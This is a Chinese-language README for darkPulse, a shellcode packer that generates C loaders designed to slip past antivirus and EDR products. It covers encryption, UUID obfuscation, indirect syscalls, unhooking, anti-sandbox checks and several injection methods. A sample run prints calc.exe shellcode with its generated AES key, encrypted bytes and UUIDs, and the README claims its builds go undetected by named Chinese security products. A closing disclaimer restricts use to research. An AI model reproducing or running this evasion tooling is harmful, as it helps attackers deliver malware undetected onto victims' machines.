darkPulse是一个用go编写的shellcode Packer,用于生成各种各样的shellcode loader。
目前只实现了c语言的模板。
支持aes/xor加密,uuid/words混淆,支持间接syscall和unhook两种模式下的callback,fiber,earlybird三种加载方式。
间接sysacll使用了SysWhispers3的项目,链接:klezVirus/SysWhispers3: SysWhispers on Steroids - AV/EDR evasion via direct system calls. (github.com)
unhook使用了自定义跳转函数的unhook方法 - root@Ev1LAsH ~ (killer.wtf)文中所讲述的方法,文中提到的github仓库https://github.com/trickster0/LdrLoadDll-Unhooking 只实现了64位下的demo,我在 fdx-xdf/LdrLoadDll-Unhooking-x86-x64 (github.com) 完善了32位和64位通用的一段代码。
使用方法:
首先要配好gcc的环境,命令行运行gcc -v
有反应即可
_ _ _____ _
| | | | | __ \ | |
__| | __ _ _ __| | _| |__) | _| |___ ___
/ _` |/ _` | '__| |/ / ___/ | | | / __|/ _ \
| (_| | (_| | | | <| | | |_| | \__ \ __/
\__,_|\__,_|_| |_|\_\_| \__,_|_|___/\___|
author fdx_xdf
version 1.0
2024.04
Usage:
-i <path>: 原始格式 Shellcode 的路径
-enc <encryption>: Shellcode加密方式 (默认: aes)
-lang <language>: 加载器的语言 (默认: c)
-o <output>: 输出文件 (默认: Program)
-k <keyLength>: 加密的密钥长度 (默认: 16)
-obf <obfuscation>: 混淆Shellcode以降低熵值 (默认: uuid)
-f <framework>: 目标架构32位还是64位
-sandbox <true/false>: 是否开启反沙箱模式 (默认: true)
-unhook <true/false>: 是否开启unhook模式 (默认: false,使用间接syscall加载)
-loading <loadingTechnique>: 请选择加载方式,支持callback, fiber, earlybird (默认: fiber)
示例:
darkPulse.exe -i calc_shellcode.bin -f 32 -sandbox -unhook
_ _ _____ _
| | | | | __ \| |
__| | __ _ _ __| | _| |__) | |_ _ ___ ___
/ _' |/ _' | '__| |/ / ___/| | | | / __|/ _ \
| (_| | (_| | | | <| | | | |_| \__ \ __/
\__,_|\__,_|_| |_|\_\_| |_|\__,_|___/\___|
author fdx_xdf
version 1.0
2024.04
开始为您打包exe
原始shellcode:0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c
, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1
, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48
, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31
, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58
, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89
, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a
, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56
, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72
, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
[+] Generated AES key: 0x66, 0x4d, 0x72, 0x41, 0x70, 0x62, 0x37, 0x70, 0x4b, 0x5a, 0x68, 0x43, 0x62, 0x47, 0x69, 0x6d
[+] Generated IV (16-byte): 0x75, 0x4c, 0x73, 0x77, 0x44, 0x4b, 0x36, 0x62, 0x52, 0x53, 0x6b, 0x76, 0x64, 0x57, 0x62, 0x
32
[+] Using AES-128-CBC encryption
进行加密后的shellcode:0x17, 0x12, 0xa9, 0xb3, 0x8e, 0x84, 0x5b, 0x43, 0xd3, 0x93, 0x42, 0x09, 0x26, 0x6b, 0x16, 0x90, 0
xd9, 0xa0, 0x27, 0x18, 0x5a, 0x91, 0xc8, 0x15, 0xb3, 0x93, 0x4c, 0xf6, 0x65, 0x13, 0x10, 0x0c, 0x00, 0x81, 0xd6, 0xc9, 0
x4f, 0x45, 0x41, 0xa6, 0x5f, 0xc8, 0x69, 0x4e, 0x12, 0x2f, 0x04, 0x55, 0xf2, 0x54, 0x06, 0x15, 0x93, 0x72, 0xbd, 0x6d, 0
x4d, 0x40, 0x77, 0xba, 0x3d, 0x04, 0xb8, 0x9b, 0xcd, 0x6c, 0xe9, 0x08, 0x0f, 0x47, 0xeb, 0x38, 0x35, 0x6a, 0xb3, 0x7f, 0
xfc, 0xfe, 0xd2, 0x7c, 0x8b, 0xeb, 0x08, 0x1f, 0x33, 0x8d, 0xbf, 0xbb, 0x76, 0x53, 0x04, 0x10, 0x70, 0xf2, 0xa9, 0xb0, 0
xb9, 0x8a, 0x0c, 0xc3, 0xcb, 0xce, 0x7c, 0x21, 0x57, 0x11, 0x6f, 0x0c, 0x72, 0x1f, 0x8e, 0x0c, 0xc0, 0xe0, 0x06, 0x93, 0
xe9, 0x64, 0x1e, 0x1e, 0x06, 0x07, 0x16, 0x7d, 0x6f, 0xa0, 0x3e, 0x5d, 0x53, 0x91, 0xef, 0x94, 0x39, 0x84, 0x83, 0x0a, 0
xb4, 0x6e, 0xdd, 0xa8, 0x82, 0x38, 0x8a, 0x20, 0x9b, 0x40, 0x31, 0xaa, 0xb8, 0xd5, 0xe3, 0x60, 0x76, 0xc7, 0x5c, 0x98, 0
xbe, 0xba, 0xd5, 0x55, 0xe1, 0x2c, 0x0f, 0xf3, 0x6a, 0x47, 0x02, 0x03, 0xdd, 0xc3, 0xf0, 0x51, 0x64, 0x20, 0xe8, 0x74, 0
xcf, 0xac, 0x19, 0xbd, 0xf7, 0xae, 0x44, 0x53, 0x91, 0x60, 0x76, 0x36, 0xa0, 0xed, 0x75, 0x3a, 0xcb, 0x5a, 0xda, 0xeb, 0
xc5, 0x6f, 0x9d, 0x44, 0x8c, 0xd2, 0xbb, 0xc6, 0xd1, 0xe0, 0x7d, 0x48
[+] Generated UUIDs:"b3a91217-848e-435b-d393-4209266b1690",
"1827a0d9-915a-15c8-b393-4cf66513100c",
"c9d68100-454f-a641-5fc8-694e122f0455",
"150654f2-7293-6dbd-4d40-77ba3d04b89b",
"08e96ccd-470f-38eb-356a-b37ffcfed27c",
"1f08eb8b-8d33-bbbf-7653-041070f2a9b0",
"c30c8ab9-cecb-217c-5711-6f0c721f8e0c",
"9306e0c0-64e9-1e1e-0607-167d6fa03e5d",
"94ef9153-8439-0a83-b46e-dda882388a20",
"aa31409b-d5b8-60e3-76c7-5c98bebad555",
"f30f2ce1-476a-0302-ddc3-f0516420e874",
"bd19accf-aef7-5344-9160-7636a0ed753a",
"ebda5acb-6fc5-449d-8cd2-bbc6d1e07d48",
正在为您生成模板文件: Program.c
编译成功: Program.exe
即在当前目录下生成 Program.exe
注意:syscall下的earlybird方式由于某些bug并没有使用间接syscall方式加载,尽量不要使用,另外xor+uuid的特征过于明显,尽量不要使用。
目前实现效果如下:
微步云沙箱无检出
360(未开核晶):无检出
火绒:无检出
360(开启核晶):无检出(使用syscall和unhook两种方式生成的exe均成功绕过核晶)
- go模板
- 更多加密算法
- 分离加载
- unhook- .....
本项目仅用安全研究的学习交流和研究,强烈不建议您用于任何的实际途径(包括黑灰产交易、非法渗透攻击、割韭菜),网络不是法外之地!如果您使用该工具则应该自觉遵守以上要求。